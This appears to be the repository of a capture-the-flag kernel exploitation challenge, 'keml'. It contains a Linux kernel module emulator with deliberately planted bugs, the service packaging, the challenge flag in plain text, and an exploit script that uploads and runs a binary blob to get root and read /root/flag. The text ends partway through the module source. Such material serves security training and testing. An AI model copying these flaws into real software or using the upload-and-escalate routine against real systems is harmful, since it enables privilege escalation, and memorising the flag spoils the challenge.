├── info.yml ├── interaction ├── Dockerfile ├── check.py ├── check.sh ├── exploit.py ├── kemlx.bz2 └── requirements.txt └── service ├── Dockerfile ├── banner_fail ├── bzImage ├── initramfs.cpio.gz ├── keml.tgz ├── keml ├── bzImage ├── initramfs.cpio.gz └── run.sh ├── server ├── service.conf ├── src ├── Makefile ├── keml.c ├── keml.h └── kemluser.c └── wrapper /info.yml: -------------------------------------------------------------------------------- 1 | # Info for the schoreboard 2 | service_name: "keml" 3 | description: "introducing TOCTOU resistant memory. flag is in /root/flag" 4 | tags: 5 | - pwn 6 | - kernel 7 | violates_flag_format: false # if this is not "true", the flag is verfied against the flag format 8 | 9 | # At some point we may start blocking all egress connections. Set this to True if your service needs them. DO NOT RELY ON THIS FOR BLOCKING THOUGH. 10 | allow_egress: False 11 | 12 | flag: "OOO{one can control a chapter of a kernel's life with just a page}" 13 | copy_flag_using_build_arg: False # if true it will pass in the variable THE_FLAG with the flag value above using --build-arg when service is built 14 | 15 | # Type can be normal or king_of_the_hill 16 | type: normal 17 | 18 | # This is the number of concurrent connections that a container should be able to handle. 19 | # This will be tested by the test script 20 | concurrent_connections: 5 21 | 22 | 23 | authors: 24 | - mike_pizza 25 | 26 | # 27 | # Directories below the next two are absolute in either the `service` or `interaction` docker container. 28 | # 29 | 30 | # These are the files that will be "public" to the teams via the scoreboard. 31 | # The paths are relative to the repository 32 | # They are published manually. IF YOU CHANGE THEM DURING THE GAME YELL! 33 | public_files: 34 | - service/keml.tgz 35 | 36 | # Test scripts are heavily encouraged. 37 | # All scripts should exit 0 if nothing went wrong. 38 | # Scripts are automatically determined to be exploit scripts if they start with the word "exploit". 39 | # Exploit scripts must output the flag using "FLAG: " and exit with 0 if the flag was captured correctly. 40 | # The paths are absolute in the `interaction` docker container. 41 | interactions: 42 | - /check.py 43 | - /exploit.py 44 | 45 | # This is how players will connect to your service 46 | # REMOVE THIS IF YOUR SERVICE HAS NO NETWORK COMPONENT 47 | # In the rare case that 'default' and 'guess' are not OK, you can specify your own values 48 | # chalmanger will automatically add connection info to the public page (unless you add hidden: true) 49 | game_network_info: 50 | host: default 51 | port: guess 52 | 53 | 54 | 55 | # It's strongly suggested to have a healthcheck regex 56 | # The infrastructure will periodically connect and alert if it doesn't match anymore 57 | # 58 | # Example: healthcheck_tcp: awesome chall 59 | # healthcheck_tcp_send: some intial command 60 | # Example: healthcheck_http: Author Login 61 | # 62 | # It's not actually read from the info.yml, but be ready to give it to Sean (/Jacopo/Yan/...) 63 | # It will go in inventory/group_vars/all (git@github.com:o-o-overflow/dc2020q-infra) 64 | # 65 | # TODO: can we have a meaningful one without spawning VMs all the time? 66 | healthcheck_tcp: Spawning the VM... 67 | -------------------------------------------------------------------------------- /interaction/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:2.7-alpine 2 | 3 | ENV TERM linux 4 | 5 | 6 | # For example: 7 | run apk update && apk add --no-cache netcat-openbsd bash openssl-dev libffi-dev g++ linux-headers make 8 | COPY requirements.txt /requirements.txt 9 | run pip install -r requirements.txt 10 | 11 | 12 | 13 | #COPY exploit1.sh / 14 | 15 | COPY check.py / 16 | COPY check.sh / 17 | COPY kemlx.bz2 / 18 | COPY exploit.py / 19 | -------------------------------------------------------------------------------- /interaction/check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from __future__ import print_function 3 | 4 | from pwn import * 5 | import sys 6 | 7 | def main(): 8 | 9 | host = sys.argv[1] 10 | port = int(sys.argv[2]) 11 | 12 | conn = remote(host, port) 13 | 14 | PROMPT = b"/ $ " 15 | 16 | result = conn.recvuntil(PROMPT) 17 | print("Received before the first prompt:", result, file=sys.stderr) 18 | 19 | conn.sendline("ls -1 /") 20 | result = conn.recvuntil(PROMPT) 21 | #print("ls result:", result, file=sys.stderr) 22 | assert 'etc' in result 23 | assert 'root' in result 24 | 25 | conn.sendline("uname -a") 26 | result = conn.recvuntil(PROMPT) 27 | assert "Linux" in result 28 | print("uname -a:", result, file=sys.stderr) 29 | 30 | conn.sendline("exit") 31 | conn.shutdown(direction="send") 32 | result = conn.recvuntil("Power down") 33 | #print("Post exit:", result, file=sys.stderr) 34 | 35 | sys.exit(0) 36 | 37 | 38 | if __name__ == '__main__': 39 | main() 40 | 41 | 42 | -------------------------------------------------------------------------------- /interaction/check.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | exit 0 4 | 5 | # TODO: 6 | 7 | RESULT=$(echo "ls -1 /\nexit\n" | nc "$1" "$2") 8 | 9 | echo "---------" >/dev/stderr 10 | echo "$RESULT" >/dev/stderr 11 | echo "----------" >/dev/stderr 12 | 13 | echo "$RESULT" | grep -i "seconds" 14 | echo "$RESULT" | grep "etc" 15 | echo "$RESULT" | grep "root" 16 | -------------------------------------------------------------------------------- /interaction/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from __future__ import print_function 3 | 4 | from pwn import * 5 | import sys 6 | 7 | def main(): 8 | 9 | host = sys.argv[1] 10 | port = int(sys.argv[2]) 11 | 12 | conn = remote(host, port) 13 | 14 | PROMPT = b"/ $ " 15 | 16 | result = conn.recvuntil(PROMPT) 17 | print("Received before the first prompt:", result, file=sys.stderr) 18 | 19 | xblob = "" 20 | with open("kemlx.bz2", "r") as f: 21 | xblob = f.read() 22 | 23 | for line in xblob.encode('base64').split('\n'): 24 | conn.sendline("echo \"%s\" >> /home/user/x.bz2.64" % line) 25 | conn.recvuntil(PROMPT) 26 | 27 | print("Exploit blob %d bytes" % len(xblob.encode('base64')), file=sys.stderr) 28 | conn.sendline("base64 -d /home/user/x.bz2.64 > /home/user/x.bz2") 29 | conn.recvuntil(PROMPT) 30 | 31 | conn.sendline("bunzip2 /home/user/x.bz2") 32 | conn.recvuntil(PROMPT) 33 | 34 | conn.sendline("chmod 777 /home/user/x") 35 | conn.recvuntil(PROMPT) 36 | 37 | conn.sendline("ls -l /home/user") 38 | result = conn.recvuntil(PROMPT) 39 | print("ls -l /home/user:",result,file=sys.stderr) 40 | 41 | conn.sendline("/home/user/x") 42 | 43 | result = conn.recvuntil(b"/ # ") 44 | 45 | print("Catting flag..",file=sys.stderr) 46 | 47 | conn.sendline("cat /root/flag") 48 | result = conn.recvuntil(b"}") 49 | print("flag:",result) 50 | 51 | sys.exit(0) 52 | 53 | 54 | if __name__ == '__main__': 55 | main() 56 | 57 | 58 | -------------------------------------------------------------------------------- /interaction/kemlx.bz2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/o-o-overflow/dc2020q-keml-public/6f750210bafbf345f28ee786f1aafad0bc663d6c/interaction/kemlx.bz2 -------------------------------------------------------------------------------- /interaction/requirements.txt: -------------------------------------------------------------------------------- 1 | pwntools 2 | -------------------------------------------------------------------------------- /service/Dockerfile: -------------------------------------------------------------------------------- 1 | from ubuntu:18.04 2 | 3 | # example: 4 | run apt-get -qq update && apt-get install -qq --no-install-recommends xinetd qemu-system-x86 socat 5 | # python3-pip, etc. 6 | 7 | copy service.conf /service.conf 8 | copy banner_fail /banner_fail 9 | copy wrapper /wrapper 10 | 11 | copy bzImage / 12 | copy initramfs.cpio.gz / 13 | 14 | copy server / 15 | 16 | expose 5000 17 | #cmd ["/usr/sbin/xinetd", "-syslog", "local0", "-dontfork", "-f", "/service.conf"] 18 | cmd ["/server"] 19 | # ^^ If ps would be too revealing, replace with the line below. 20 | # AFAIK, this also disables the built-in printf(%n) protection, so YMMV. 21 | #cmd chmod go-rwx /proc && /usr/sbin/xinetd -syslog local0 -dontfork -f /service.conf 22 | -------------------------------------------------------------------------------- /service/banner_fail: -------------------------------------------------------------------------------- 1 | INT CONN FAILURE, IF YOU ARE SEEING THIS PLEASE PING US 2 | -------------------------------------------------------------------------------- /service/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/o-o-overflow/dc2020q-keml-public/6f750210bafbf345f28ee786f1aafad0bc663d6c/service/bzImage -------------------------------------------------------------------------------- /service/initramfs.cpio.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/o-o-overflow/dc2020q-keml-public/6f750210bafbf345f28ee786f1aafad0bc663d6c/service/initramfs.cpio.gz -------------------------------------------------------------------------------- /service/keml.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/o-o-overflow/dc2020q-keml-public/6f750210bafbf345f28ee786f1aafad0bc663d6c/service/keml.tgz -------------------------------------------------------------------------------- /service/keml/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/o-o-overflow/dc2020q-keml-public/6f750210bafbf345f28ee786f1aafad0bc663d6c/service/keml/bzImage -------------------------------------------------------------------------------- /service/keml/initramfs.cpio.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/o-o-overflow/dc2020q-keml-public/6f750210bafbf345f28ee786f1aafad0bc663d6c/service/keml/initramfs.cpio.gz -------------------------------------------------------------------------------- /service/keml/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | BUILDS=/home/vagrant/mini_linux/ 4 | LINUX_BUILD=$BUILDS/linux/ 5 | 6 | qemu-system-x86_64 \ 7 | -cpu qemu64,-smep,-smap \ 8 | -kernel bzImage \ 9 | -initrd initramfs.cpio.gz \ 10 | -nographic \ 11 | -append "root=/dev/ram rw console=ttyS0 oops=panic loglevel=2 panic=1 console=ttyS0" \ 12 | -monitor /dev/null 13 | -------------------------------------------------------------------------------- /service/server: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | PORT=5000 3 | MAXCONN=50 # sane or too small? 4 | exec socat -t5 tcp-l:$PORT,reuseaddr,fork,max-children=$MAXCONN exec:./wrapper 5 | -------------------------------------------------------------------------------- /service/service.conf: -------------------------------------------------------------------------------- 1 | service service 2 | { 3 | socket_type = stream 4 | protocol = tcp 5 | wait = no 6 | user = nobody 7 | bind = 0.0.0.0 8 | server = /wrapper 9 | port = 5000 10 | type = UNLISTED 11 | 12 | # If it makese sense to limit the CPU a single person can use: 13 | nice = 2 14 | rlimit_cpu = 30 # max number of "CPU seconds" 15 | # TODO ^ 16 | 17 | # rlimit_as 18 | # TODO ^ 19 | 20 | # Cannot use: per_source (that's the load balancer) 21 | 22 | # Do not have more than X instances at the same time 23 | # Note that the load balancer is NOT AWARE OF THIS, and so users will see failures 24 | instances = 10 25 | cps = 1000 10 26 | banner_fail = /banner_fail 27 | } 28 | -------------------------------------------------------------------------------- /service/src/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = keml 2 | TARGETUSER = $(TARGET)user 3 | 4 | obj-m += $(TARGET).o 5 | 6 | BUILD := 7 | 8 | all: userspace 9 | make -C ../../../linux M=$(PWD) modules 10 | cp $(TARGET).ko ../../.. 11 | 12 | userspace: 13 | $(CC) $(TARGETUSER).c -o $(TARGETUSER) -lpthread -static 14 | cp $(TARGETUSER) ../../../initramfs/home/user/ 15 | 16 | clean: 17 | make -C ../../../linux M=$(PWD) clean 18 | -------------------------------------------------------------------------------- /service/src/keml.c: -------------------------------------------------------------------------------- 1 | #include // included for all kernel modules 2 | #include // included for KERN_INFO 3 | #include // included for __init and __exit macros 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "keml.h" 11 | 12 | MODULE_DESCRIPTION("KEmulator"); 13 | 14 | #define MAJORNUM 414 15 | #define MAX_UNIT_LEN 0x1000 16 | #define MAX_PAGES 0x4 17 | #define MAX_ORDER_INSTRUCTIONS 0x10000 18 | #define MAX_ORDER_UNITS 0x4 19 | 20 | keml_dev_t keml_device; 21 | struct kmem_cache *emul_unit_cache = NULL; 22 | 23 | bool keml_emul_unit_get_pend(struct keml_emul_unit *unit) { 24 | bool ret = false; 25 | 26 | spin_lock(&keml_device.mem_lock); 27 | if (unit->pending_free) { 28 | ret = true; 29 | } 30 | spin_unlock(&keml_device.mem_lock); 31 | return ret; 32 | } 33 | 34 | bool keml_emul_unit_set_pend(struct keml_emul_unit *unit) { 35 | bool ret = false; 36 | 37 | spin_lock(&keml_device.mem_lock); 38 | if (!unit->pending_free) { 39 | unit->pending_free = 1; 40 | ret = true; 41 | } 42 | spin_unlock(&keml_device.mem_lock); 43 | return ret; 44 | } 45 | 46 | struct keml_emul_unit *keml_emul_unit_create(int id, unsigned pages) { 47 | struct keml_emul_unit *out; 48 | 49 | if (pages > MAX_PAGES) { 50 | return NULL; 51 | } 52 | 53 | out = (struct keml_emul_unit *)kmem_cache_alloc(emul_unit_cache, GFP_KERNEL); 54 | if (IS_ERR_OR_NULL(out)) { 55 | return NULL; 56 | } 57 | memset(out, 0, sizeof(struct keml_emul_unit)); 58 | 59 | kref_init(&out->refcount); 60 | 61 | spin_lock_init(&out->unit_lock); 62 | 63 | out->id = id; 64 | out->kernel_addr = __get_free_pages(GFP_KERNEL, get_order(pages * PAGE_SIZE)); 65 | if (!out->kernel_addr) { 66 | kfree(out); 67 | return NULL; 68 | } 69 | memset((void *)out->kernel_addr, 0, pages * PAGE_SIZE); 70 | out->pages = pages; 71 | 72 | return out; 73 | } 74 | 75 | void keml_emul_unit_destroy(struct kref *kref) 76 | { 77 | struct keml_emul_unit *unit = container_of( 78 | kref, 79 | struct keml_emul_unit, 80 | refcount); 81 | 82 | //pr_info("in destroy"); 83 | 84 | if (unit == NULL) 85 | return; 86 | 87 | //pr_info("destroying unit %d\n", unit->id); 88 | 89 | spin_lock(&keml_device.unit_idr_lock); 90 | if (unit->id != 0) 91 | idr_remove(&keml_device.unit_idr, unit->id); 92 | spin_unlock(&keml_device.unit_idr_lock); 93 | 94 | free_pages(unit->kernel_addr, get_order(unit->pages)); 95 | kfree(unit); 96 | } 97 | 98 | struct keml_emul_unit * __must_check 99 | keml_emul_unit_find_id(int id) 100 | { 101 | struct keml_emul_unit *found = NULL; 102 | 103 | spin_lock(&keml_device.unit_idr_lock); 104 | found = idr_find(&keml_device.unit_idr, id); 105 | spin_unlock(&keml_device.unit_idr_lock); 106 | 107 | if (found) { 108 | if (keml_emul_unit_get_pend(found)) 109 | return NULL; 110 | keml_emul_unit_get(found); 111 | } 112 | 113 | return found; 114 | } 115 | 116 | static int get_emul_unit(struct keml_emul_unit **out, 117 | unsigned long pgoff, 118 | unsigned long len) 119 | { 120 | struct keml_emul_unit *unit = NULL; 121 | 122 | unit = keml_emul_unit_find_id(pgoff); 123 | if (!unit) 124 | return -EINVAL; 125 | 126 | if (len > (unit->pages * PAGE_SIZE)) { 127 | keml_emul_unit_put(unit); 128 | return -ERANGE; 129 | } 130 | 131 | *out = unit; 132 | 133 | return 0; 134 | } 135 | 136 | /* -- EMULATION -- */ 137 | 138 | static void *kernel_addr_for_emul_vaddr(uint16_t vaddr, 139 | struct keml_emul_unit **units, 140 | size_t n_units) { 141 | size_t i; 142 | uint8_t msb; 143 | uint16_t lsb; 144 | unsigned int current_off = 0; 145 | 146 | msb = (vaddr >> 12) & 0xf; 147 | lsb = vaddr & 0xfff; 148 | 149 | for (i=0;i= current_off && msb < current_off + units[i]->pages) { 151 | return (void *)(units[i]->kernel_addr + \ 152 | (msb - current_off) * PAGE_SIZE) + \ 153 | lsb; 154 | } 155 | current_off += units[i]->pages; 156 | } 157 | return NULL; 158 | } 159 | 160 | #define INC_PC(pc) *((uint16_t *)pc)+=4 161 | #define REG(i) (i.reg&0xf) 162 | #define OPREG(i) (i.op.reg&0xf) 163 | #define OPIMM(i) (i.op.immed) 164 | #define OPADR(i) (i.op.addr) 165 | #define PUSH(imm) (stack[proc.sp++] = imm) 166 | #define POP() (stack[--proc.sp]) 167 | #define ALLOC_STACK() do {\ 168 | if (!stack) { \ 169 | stack = (uint16_t *)__get_free_pages(GFP_KERNEL, get_order(0x10)); \ 170 | if (!stack) { \ 171 | ret = -ENOMEM; \ 172 | } \ 173 | } } while(0) 174 | 175 | #define DEALLOC_STACK() do {\ 176 | if (stack) { \ 177 | free_pages((unsigned long )stack, get_order(0x10)); \ 178 | } } while(0) 179 | 180 | #define STACK_LIMIT (0x10000/sizeof(uint16_t)) 181 | 182 | long emulate_order(uint32_t *instrs, 183 | size_t instrs_len, 184 | struct keml_emul_unit **units, 185 | size_t n_units) 186 | { 187 | long ret = 0; 188 | uint16_t reg_val = 0; 189 | void *resaddr = NULL; 190 | struct processor proc = {0}; 191 | uint16_t *stack = NULL; 192 | struct instruction instr; 193 | 194 | do { 195 | //pr_info("Instruction: %x\n", instrs[proc.pc/sizeof(uint32_t)]); 196 | instr = *((struct instruction *)&instrs[proc.pc/sizeof(uint32_t)]); 197 | instr.op.immed = htons(instr.op.immed); 198 | //pr_info("PC: %d\n", proc.pc); 199 | switch(instr.opcode) { 200 | case MOV_REG_IMM: 201 | //pr_info("mov [%d] <- %d\n", REG(instr), OPIMM(instr)); 202 | proc.gpr[REG(instr)] = OPIMM(instr); 203 | INC_PC(&proc.pc); 204 | break; 205 | case MOV_REG_REG: 206 | //pr_info("mov [%d] <- [%d]\n", REG(instr), OPREG(instr)); 207 | reg_val = proc.gpr[OPREG(instr)]; 208 | proc.gpr[REG(instr)] = reg_val; 209 | INC_PC(&proc.pc); 210 | break; 211 | case ADD_REG_IMM: 212 | //pr_info("add [%d] <- %d\n", REG(instr), OPIMM(instr)); 213 | proc.gpr[REG(instr)] += OPIMM(instr); 214 | INC_PC(&proc.pc); 215 | break; 216 | case ADD_REG_REG: 217 | //pr_info("add [%d] <- [%d]\n", REG(instr), OPREG(instr)); 218 | proc.gpr[REG(instr)] += proc.gpr[OPREG(instr)]; 219 | INC_PC(&proc.pc); 220 | break; 221 | case SUB_REG_IMM: 222 | //pr_info("sub [%d] <- %d\n", REG(instr), OPIMM(instr)); 223 | proc.gpr[REG(instr)] -= OPIMM(instr); 224 | INC_PC(&proc.pc); 225 | break; 226 | case SUB_REG_REG: 227 | //pr_info("sub [%d] <- [%d]\n", REG(instr), OPREG(instr)); 228 | proc.gpr[REG(instr)] -= proc.gpr[OPREG(instr)]; 229 | INC_PC(&proc.pc); 230 | break; 231 | case XOR_REG_IMM: 232 | //pr_info("(%x) xor [%d] <- %d\n", proc.pc, REG(instr), OPIMM(instr)); 233 | proc.gpr[REG(instr)] ^= OPIMM(instr); 234 | INC_PC(&proc.pc); 235 | break; 236 | case XOR_REG_REG: 237 | //pr_info("(%x) xor [%d] <- [%d]\n", proc.pc, REG(instr), OPREG(instr)); 238 | proc.gpr[REG(instr)] ^= proc.gpr[OPREG(instr)]; 239 | INC_PC(&proc.pc); 240 | break; 241 | case STR_ADR_REG: 242 | //pr_info("str [%d] <- %x\n", OPADR(instr), REG(instr)); 243 | resaddr = kernel_addr_for_emul_vaddr(OPADR(instr), units, n_units); 244 | if (!resaddr) { 245 | ret = -EFAULT; 246 | break; 247 | } 248 | reg_val = proc.gpr[REG(instr)] & 0xff; 249 | *((uint8_t *)resaddr) = reg_val; 250 | INC_PC(&proc.pc); 251 | break; 252 | case STR_REG_REG: 253 | //pr_info("str [%d] <- [%d]\n", OPREG(instr), REG(instr)); 254 | reg_val = proc.gpr[OPREG(instr)]; 255 | resaddr = kernel_addr_for_emul_vaddr(reg_val, units, n_units); 256 | if (!resaddr) { 257 | ret = -EFAULT; 258 | break; 259 | } 260 | reg_val = proc.gpr[REG(instr)] & 0xff; 261 | *((uint8_t *)resaddr) = reg_val; 262 | INC_PC(&proc.pc); 263 | break; 264 | case LDR_REG_ADR: 265 | //pr_info("ldr [%d] <- %x\n", REG(instr), OPADR(instr)); 266 | resaddr = kernel_addr_for_emul_vaddr(OPIMM(instr), units, n_units); 267 | if (!resaddr) { 268 | ret = -EFAULT; 269 | break; 270 | } 271 | proc.gpr[REG(instr)] = *((uint8_t *)resaddr); 272 | INC_PC(&proc.pc); 273 | break; 274 | case LDR_REG_REG: 275 | //pr_info("ldr [%d] <- [%d]\n", OPREG(instr), REG(instr)); 276 | reg_val = proc.gpr[OPREG(instr)]; 277 | resaddr = kernel_addr_for_emul_vaddr(reg_val, units, n_units); 278 | if (!resaddr) { 279 | ret = -EFAULT; 280 | break; 281 | } 282 | proc.gpr[REG(instr)] = *((uint8_t *)resaddr); 283 | INC_PC(&proc.pc); 284 | break; 285 | case CMP_REG_IMM: 286 | //pr_info("cmp [%d] ? %x\n", REG(instr), OPIMM(instr)); 287 | // clear 288 | proc.flags &= 0; 289 | reg_val = proc.gpr[REG(instr)] - OPIMM(instr); 290 | proc.flags |= reg_val ? 0 : 1; 291 | proc.flags |= (reg_val > proc.gpr[REG(instr)] ? 1 : 0) << 1; 292 | INC_PC(&proc.pc); 293 | break; 294 | case CMP_REG_REG: 295 | //pr_info("cmp [%d] ? [%d]\n", REG(instr), OPREG(instr)); 296 | // clear 297 | proc.flags &= 0; 298 | reg_val = proc.gpr[REG(instr)] - proc.gpr[OPREG(instr)]; 299 | proc.flags |= reg_val ? 0 : 1; 300 | proc.flags |= (reg_val > proc.gpr[REG(instr)] ? 1 : 0) << 1; 301 | INC_PC(&proc.pc); 302 | break; 303 | case JMP_IMM: 304 | //pr_info("jmp %d\n", OPIMM(instr)); 305 | if (OPIMM(instr) >= instrs_len || 306 | OPIMM(instr) % 4 != 0) { 307 | ret = -EFAULT; 308 | break; 309 | } 310 | proc.pc = OPIMM(instr); 311 | break; 312 | case JMP_REG: 313 | //pr_info("jmp [%d]\n", OPREG(instr)); 314 | reg_val = proc.gpr[OPREG(instr)]; 315 | if (reg_val >= instrs_len || 316 | reg_val % 4 != 0) { 317 | ret = -EFAULT; 318 | break; 319 | } 320 | proc.pc = reg_val; 321 | break; 322 | case JE_IMM: 323 | //pr_info("je %d\n", OPIMM(instr)); 324 | if (proc.flags & 1) { 325 | if (OPIMM(instr) >= instrs_len || 326 | OPIMM(instr) % 4 != 0) { 327 | ret = -EFAULT; 328 | break; 329 | } 330 | proc.pc = OPIMM(instr); 331 | } else { 332 | INC_PC(&proc.pc); 333 | } 334 | break; 335 | case JE_REG: 336 | //pr_info("je [%d]\n", OPREG(instr)); 337 | if (proc.flags & 1) { 338 | reg_val = proc.gpr[OPREG(instr)]; 339 | if (reg_val >= instrs_len || 340 | reg_val % 4 != 0) { 341 | ret = -EFAULT; 342 | break; 343 | } 344 | proc.pc = reg_val; 345 | } else { 346 | INC_PC(&proc.pc); 347 | } 348 | break; 349 | case JL_IMM: 350 | //pr_info("jl %d\n", OPIMM(instr)); 351 | if (proc.flags & 2) { 352 | if (OPIMM(instr) >= instrs_len || 353 | OPIMM(instr) % 4 != 0) { 354 | ret = -EFAULT; 355 | break; 356 | } 357 | proc.pc = OPIMM(instr); 358 | } else { 359 | INC_PC(&proc.pc); 360 | } 361 | break; 362 | case JL_REG: 363 | //pr_info("jl [%d]\n", OPREG(instr)); 364 | if (proc.flags & 2) { 365 | reg_val = proc.gpr[OPREG(instr)]; 366 | if (reg_val >= instrs_len || 367 | reg_val % 4 != 0) { 368 | ret = -EFAULT; 369 | break; 370 | } 371 | proc.pc = reg_val; 372 | } else { 373 | INC_PC(&proc.pc); 374 | } 375 | break; 376 | case JA_IMM: 377 | //pr_info("ja %d\n", OPIMM(instr)); 378 | if (proc.flags == 0) { 379 | if (OPIMM(instr) >= instrs_len || 380 | OPIMM(instr) % 4 != 0) { 381 | ret = -EFAULT; 382 | break; 383 | } 384 | proc.pc = OPIMM(instr); 385 | } else { 386 | INC_PC(&proc.pc); 387 | } 388 | break; 389 | case JA_REG: 390 | //pr_info("ja [%d]\n", OPREG(instr)); 391 | if (proc.flags == 0) { 392 | reg_val = proc.gpr[OPREG(instr)]; 393 | if (reg_val >= instrs_len || 394 | reg_val % 4 != 0) { 395 | ret = -EFAULT; 396 | break; 397 | } 398 | proc.pc = reg_val; 399 | } else { 400 | INC_PC(&proc.pc); 401 | } 402 | break; 403 | case JNE_IMM: 404 | //pr_info("jne %d\n", OPIMM(instr)); 405 | if (!(proc.flags & 1)) { 406 | if (OPIMM(instr) >= instrs_len || 407 | OPIMM(instr) % 4 != 0) { 408 | ret = -EFAULT; 409 | break; 410 | } 411 | proc.pc = OPIMM(instr); 412 | } else { 413 | INC_PC(&proc.pc); 414 | } 415 | break; 416 | case JNE_REG: 417 | //pr_info("jne [%d]\n", OPREG(instr)); 418 | if (!(proc.flags & 1)) { 419 | reg_val = proc.gpr[OPREG(instr)]; 420 | if (reg_val >= instrs_len || 421 | reg_val % 4 != 0) { 422 | ret = -EFAULT; 423 | break; 424 | } 425 | proc.pc = reg_val; 426 | } else { 427 | INC_PC(&proc.pc); 428 | } 429 | break; 430 | case CALL_IMM: 431 | //pr_info("call %x\n", OPIMM(instr)); 432 | if (proc.sp >= STACK_LIMIT) { 433 | ret = -EFAULT; 434 | break; 435 | } 436 | if (OPIMM(instr) >= instrs_len || 437 | OPIMM(instr) % 4 != 0) { 438 | ret = -EFAULT; 439 | break; 440 | } 441 | ALLOC_STACK(); 442 | PUSH(proc.pc + 4); 443 | proc.pc = OPIMM(instr); 444 | break; 445 | case CALL_REG: 446 | //pr_info("call [%d]\n", OPREG(instr)); 447 | if (proc.sp >= STACK_LIMIT) { 448 | ret = -EFAULT; 449 | break; 450 | } 451 | reg_val = proc.gpr[OPREG(instr)]; 452 | if (reg_val >= instrs_len || 453 | reg_val % 4 != 0) { 454 | ret = -EFAULT; 455 | break; 456 | } 457 | ALLOC_STACK(); 458 | PUSH(proc.pc + 4); 459 | proc.pc = reg_val; 460 | break; 461 | case RET: 462 | //pr_info("ret\n"); 463 | if (proc.sp == 0) { 464 | ret = -EFAULT; 465 | break; 466 | } 467 | proc.pc = POP(); 468 | break; 469 | case NOP: 470 | //pr_info("nop\n"); 471 | INC_PC(&proc.pc); 472 | break; 473 | case PUSH_REG: 474 | ///pr_info("push [%d]\n", OPREG(instr)); 475 | if (proc.sp >= STACK_LIMIT) { 476 | ret = -EFAULT; 477 | break; 478 | } 479 | reg_val = proc.gpr[OPREG(instr)]; 480 | ALLOC_STACK(); 481 | PUSH(reg_val); 482 | INC_PC(&proc.pc); 483 | break; 484 | case POP_REG: 485 | //pr_info("pop [%d]\n", OPREG(instr)); 486 | if (proc.sp == 0) { 487 | ret = -EFAULT; 488 | break; 489 | } 490 | reg_val = POP(); 491 | //pr_info("POPing %x\n", reg_val); 492 | proc.gpr[OPREG(instr)] = reg_val; 493 | INC_PC(&proc.pc); 494 | break; 495 | default: 496 | //pr_err("unimplemented instruction %x (%x)\n", instr.opcode, proc.pc); 497 | ret = -EINVAL; 498 | break; 499 | } 500 | } while (proc.pc < instrs_len && !ret); 501 | 502 | DEALLOC_STACK(); 503 | return ret; 504 | } 505 | 506 | /* -- IOCTLS -- */ 507 | 508 | long keml_ioctl_emul_unit_create(void *arg) 509 | { 510 | struct emul_create_param * __user user_param = 511 | (struct emul_create_param * __user)arg; 512 | struct emul_create_param param = {0}; 513 | struct keml_emul_unit *unit; 514 | long ret; 515 | int id; 516 | 517 | if (copy_from_user(¶m.n_pages, user_param, sizeof(param.n_pages))) { 518 | return -EFAULT; 519 | } 520 | 521 | spin_lock(&keml_device.unit_idr_lock); 522 | id = idr_alloc(&keml_device.unit_idr, NULL, 1, 0, GFP_NOWAIT); 523 | spin_unlock(&keml_device.unit_idr_lock); 524 | 525 | if (id < 0) { 526 | //pr_err("failed to allocate new idr entry"); 527 | return id; 528 | } 529 | 530 | param.id = id; 531 | 532 | unit = keml_emul_unit_create(id, param.n_pages); 533 | if (!unit) { 534 | ret = -ENOMEM; 535 | goto dealloc; 536 | } 537 | 538 | spin_lock(&keml_device.unit_idr_lock); 539 | idr_replace(&keml_device.unit_idr, unit, id); 540 | spin_unlock(&keml_device.unit_idr_lock); 541 | 542 | //pr_info("created unit %d", unit->id); 543 | if (copy_to_user(&user_param->id, ¶m.id, sizeof(param.id))) { 544 | ret = -EFAULT; 545 | goto dealloc; 546 | } 547 | 548 | return 0; 549 | 550 | dealloc: 551 | if (unit) 552 | keml_emul_unit_put(unit); 553 | 554 | return ret; 555 | } 556 | 557 | static long keml_ioctl_emul_unit_destroy(int id) 558 | { 559 | long ret = 0; 560 | struct keml_emul_unit *unit; 561 | 562 | unit = keml_emul_unit_find_id(id); 563 | if (!unit) 564 | return -EINVAL; 565 | 566 | //pr_info("found unit %p", unit); 567 | if (keml_emul_unit_set_pend(unit)) { 568 | keml_emul_unit_put(unit); 569 | } else { 570 | ret = -EBUSY; 571 | } 572 | 573 | keml_emul_unit_put(unit); 574 | return ret; 575 | } 576 | 577 | static long keml_ioctl_issue_order(void *arg) 578 | { 579 | struct emul_issue_order_param* __user user_param = 580 | (struct emul_issue_order_param* __user)arg; 581 | struct emul_issue_order_param param = {0}; 582 | int unit_handles[MAX_ORDER_UNITS] = {0}; 583 | struct keml_emul_unit *units[MAX_ORDER_UNITS] = {0}; 584 | uint32_t *instrs; 585 | size_t instr_len; 586 | size_t unit_len; 587 | long ret; 588 | int i; 589 | 590 | if (copy_from_user(¶m, user_param, sizeof(param))) { 591 | return -EFAULT; 592 | } 593 | 594 | if ((param.n_instructions > MAX_ORDER_INSTRUCTIONS) || 595 | (param.n_instructions == 0) || 596 | (param.n_units > MAX_ORDER_UNITS)) { 597 | return -EINVAL; 598 | } 599 | 600 | unit_len = param.n_units * sizeof(int); 601 | if (copy_from_user(&unit_handles, param.unit_handles, unit_len)) { 602 | return -EFAULT; 603 | } 604 | 605 | instr_len = sizeof(uint32_t) * param.n_instructions; 606 | instrs = (uint32_t *)kzalloc(instr_len, GFP_KERNEL); 607 | if (IS_ERR_OR_NULL(instrs)) { 608 | return -ENOMEM; 609 | } 610 | 611 | if (copy_from_user(instrs, param.instructions, instr_len)) { 612 | kfree(instrs); 613 | return -EFAULT; 614 | } 615 | 616 | /* convert the handles to units */ 617 | for (i=0;iunit_lock); 629 | } 630 | 631 | ret = emulate_order(instrs, instr_len, units, param.n_units); 632 | 633 | /* free them up for use */ 634 | for(i=0;iunit_lock); 